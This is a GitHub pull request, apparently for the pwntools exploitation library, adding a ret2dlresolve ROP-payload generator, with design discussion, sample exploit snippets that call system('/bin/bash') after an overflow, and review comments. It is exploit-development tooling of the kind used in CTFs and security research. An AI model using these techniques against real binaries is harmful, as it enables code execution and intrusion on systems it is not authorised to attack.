Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ret2dlresolve #1436

Merged
merged 5 commits into from
Apr 29, 2020
Merged

Add ret2dlresolve #1436

merged 5 commits into from
Apr 29, 2020

Conversation

klecko
Copy link
Contributor

@klecko klecko commented Feb 26, 2020

Ret2dlresolve

This PR aims to introduce a friendly interface for creating ret2dlresolve payloads. It supports calling any libc symbol with any argument, same as ROP when stack address is known, without having a leak. The generated rop chain calls (ideally) read to introduce the payload with ElfSym and ElfRel structures and with data needed for the arguments, such as pointers and strings, and then calls _dl_fixup with an appropiate reloc index, which will resolve and call the symbol.

Testing and documentation

TODO

Target Branch

Dev

@klecko
Copy link
Contributor Author

klecko commented Mar 6, 2020

Help with the design

I need some help with the design.

Ret2dlresolve technique includes a payload containing the dl-resolve-related structures and other things, and the rop chain that reads the payload and calls dl-resolve.

Current design

Right now we have a new file ret2dlresolve.py, whose important members are:

  • Class Ret2dlresolve, which builds the payload with the structures. Requires elf and symbol that will be called.
  • Class Ret2dlresolveRop, which requires the elf, the symbol that will be called and the args for that call, and also the address where the payload will be placed. It inherits from Ret2dlresolve and makes it build the payload, processes the arguments, adds to that payload strings and pointers related with them, and provides a function get_rop for creating the rop chain.

Therefore, the way of exploiting a binary would be something like:

# Creates the object
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"])

# Gets an address inside .bss for saving payload2
DATA_ADDR = ret2dlresolve.get_recommended_address()

# Creates the structures, processes arguments and adds necessary strings and pointers.
# Maybe it's better make it call get_recommended_address if no address is provided,
# as in design 2.
payload2 = ret2dlresolve.build(DATA_ADDR)

# Creates the rop chain. Needs processed arguments
# (real arg is not "/bin/bash" but a pointer to payload2 where that string is)
rop = ret2dlresolve.get_rop(read_func="read", read_func_args=[0, DATA_ADDR])
raw_rop = rop.chain() 

payload = padding_for_overflow + raw_rop
p.sendline(payload + payload2)

Design 2

Another option could be having just a class Ret2dlresolve in ret2dlresolve.py, and a method ret2dlresolve inside ROP class.

  • Class Ret2dlresolve would require the elf, the symbol, the args and the address where the payload will be placed. It would build the payload, process the arguments and add related stuff to the payload.
  • Method ret2dlresolve would require the reloc index and the real args given by the class Ret2dlresolve. It would create the rop chain.

This time, the above code would be:

# Creates the structures, processes arguments and adds necessary strings and pointers
# If an address is not provided, it uses one inside .bss. The payload in the attribute payload
dlresolve = Ret2dlresolve(elf, symbol="system", args=["/bin/bash"])
data_addr = dlresolve.data_addr

rop = ROP(elf)

#Creates the rop chain. Needs processed arguments
rop.ret2dlresolve(reloc_index=dlresolve.reloc_index, real_args=dlresolve.real_args, \
	read_func="read", read_func_args=[0, data_addr])
raw_rop = rop.chain()

payload = padding_for_overflow + raw_rop
payload2 = dlresolve.payload
p.sendline(payload + payload2)

Design 3

The last option I thought is creating a class Ret2dlresolveRop that inherits from both ROP and Ret2dlresolve (the one of the current design).
I haven't tried it, but the code would be something like:

# Builds the payload
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"], \
	read_func="read", read_func_args=[0, DATA_ADDR], data_addr=DATA_ADDR)

# Builds the chain
raw_rop = ret2dlresolve.chain()

payload = padding_for_overflow + raw_rop
payload2 = ret2dlresolve.payload
p.sendline(payload + payload2)

I would appreciate every feedback, idea or opinion.

@zachriggle
Copy link
Member

zachriggle commented Mar 9, 2020 via email

@Arusekk
Copy link
Member

Arusekk commented Mar 22, 2020

This looks great, I would see design number two best (consistent with what pwntools style of doing things). Also, it would be awesome if you added some tests to the new code.

@klecko klecko marked this pull request as ready for review April 4, 2020 18:11
Comment on lines +1292 to +1296
self.raw(plt_init) # call plt_init
self.raw(reloc_index) # arg for plt init
self.raw(0xDEADBEEF) # ret
for arg in real_args: # args for the called symbol
self.raw(arg)
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a better way to do this?

plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
log.debug("PLT_INIT: %s", hex(plt_init))

self.call(read_func, read_func_args)
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think getting read_func and read_func_args can be somewhat automated having the elf, but I'm not sure how.

@klecko
Copy link
Contributor Author

klecko commented Apr 4, 2020

I've already changed the design and added a test. I will also add documentation as soon as you agree with the design. Some points:

  • I haven't considered py2-py3 compatibility, but I guess I should. Is there anything else to take into account besides six types?
  • I have no idea about other architectures appart from amd64 & x86. Should my code work on them too? Should there be tests for each arch? I've seen examples of the fmtstr module for each arch but I think they weren't tests.
  • Right now none of Ret2dlresolvePayload attributes are thought to be modified after creating the object. Should they start with _? Maybe they should be abled to be changed, and then the payload is built again?
  • I had written the test for amd64 first, and it worked in my pc but it didn't work in the docker you provide for running tests. I've discovered it's because the docker has an older version of gcc (5.4.0). The usual exploit method involves calling read to introduce the payload in .bss. In the test binary compiled by the docker, .bss address was 0x601038 while in my computer it was 0x404030, both having 0x400000 as load address.
    If you take a look at _dl_fixup source code (here), you can see how the value ELFW(R_SYM) (reloc->r_info) is used twice as index, once in line 73 for getting the elf sym from the symtab, and once in line 92 for getting the versym entry associated with that symbol. We set this index in a way that it gets the elf sym we craft, and we just hope that the versym entry is a valid address, which doesn't happen to be in older binaries. This is because there's a lot of space between .dynamic at 0x40XXXX and our payload at 0x60XXXX that isn't mapped, which doesn't happen in new binaries. The versym entry address falls in that unmapped region causing segmentation fault. I simply think those 64bits binaries are unexploitable using ret2dlresolve.
    This doesn't seem to be a problem for 32bits binaries nor newer 64bits binaries. Current test passed in the docker. Maybe a check to see if the versym entry is a valid address should be added?

Any feedback is greatly appreciated.

@Arusekk
Copy link
Member

Arusekk commented Apr 28, 2020

I have now had more time to look at this PR. This is great, but it looks cumbersome to be used for now. Also, it looks like the ret2dlresolve does not have to be the last call in the ROP chain, although it assumes so for x86 (is it necessary?). I quite like what SROP does (I wanted this to be just like SROP, but this would come next). I also had the idea of adding a parameter to ROP.call that would handle this transparently, but this would be a separate effort, so let's merge this first.

@Arusekk Arusekk merged commit 2a7676c into Gallopsled:dev Apr 29, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants